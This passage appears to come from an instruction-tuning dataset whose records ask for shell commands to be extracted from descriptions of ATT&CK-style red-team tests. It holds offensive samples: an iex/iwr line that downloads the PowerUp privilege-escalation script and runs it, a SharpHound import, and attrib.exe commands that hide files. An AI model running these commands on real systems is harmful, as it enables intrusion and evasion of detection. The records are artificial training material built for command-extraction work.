lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Launch an executable payload by calling RouteTheCall. Test execution of a command using rundll32.exe to execute a payload{calc.exe} by calling RouteTheCall. Upon execution, calc.exe will be launched.\nReference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Zipfldr.yml\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test uses wmic.exe to execute a DLL function using rundll32. Specify a valid value for remote IP using the node parameter.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Copies and modifies mail data on Linux\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test is intended to be run on a domain Controller.\n\nThe Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Windows 10 Utility To Inject DLLS.\n\nUpon successful execution, powershell.exe will download T1055.dll to disk. Powershell will then spawn mavinject.exe to perform process injection in T1055.dll.\nWith default arguments, expect to see a MessageBox, with notepad's icon in taskbar.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Regsvr32.exe is a command-line program used to register and unregister OLE controls. Upon execution, calc.exe will be launched.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Instead of completely \"disabling\" iptables, adversaries may choose to delete a certain rule, which, for example, blocks data exfiltration via ftp.\nBy doing so, they may cause less noise to avoid detection. \n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The read-only attribute can be cleared from a file or folder by executing this command: attrib.exe -r #{file_or_folder}\\*.* /s; By using the Windows utility attrib.exe, attackers can mark files as hidden to avoid detection, via the following commands:\nmkdir #{file_or_folder} >nul 2>&1\necho T1222.001_attrib1 >> #{file_or_folder}\\T1222.001_attrib1.txt\necho T1222.001_attrib2 >> #{file_or_folder}\\T1222.001_attrib2.txt\nattrib.exe +h #{file_or_folder}\\T1222.001_attrib1.txt\nattrib.exe +h #{file_or_folder}\\T1222.001_attrib2.txt\n", "output": "{\"command_list\": [\"attrib.exe -r #{file_or_folder}\\\\*.* /s\\n\", \"mkdir #{file_or_folder} >nul 2>&1\\necho T1222.001_attrib1 >> #{file_or_folder}\\\\T1222.001_attrib1.txt\\necho T1222.001_attrib2 >> #{file_or_folder}\\\\T1222.001_attrib2.txt\\nattrib.exe +h #{file_or_folder}\\\\T1222.001_attrib1.txt\\nattrib.exe +h #{file_or_folder}\\\\T1222.001_attrib2.txt\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a 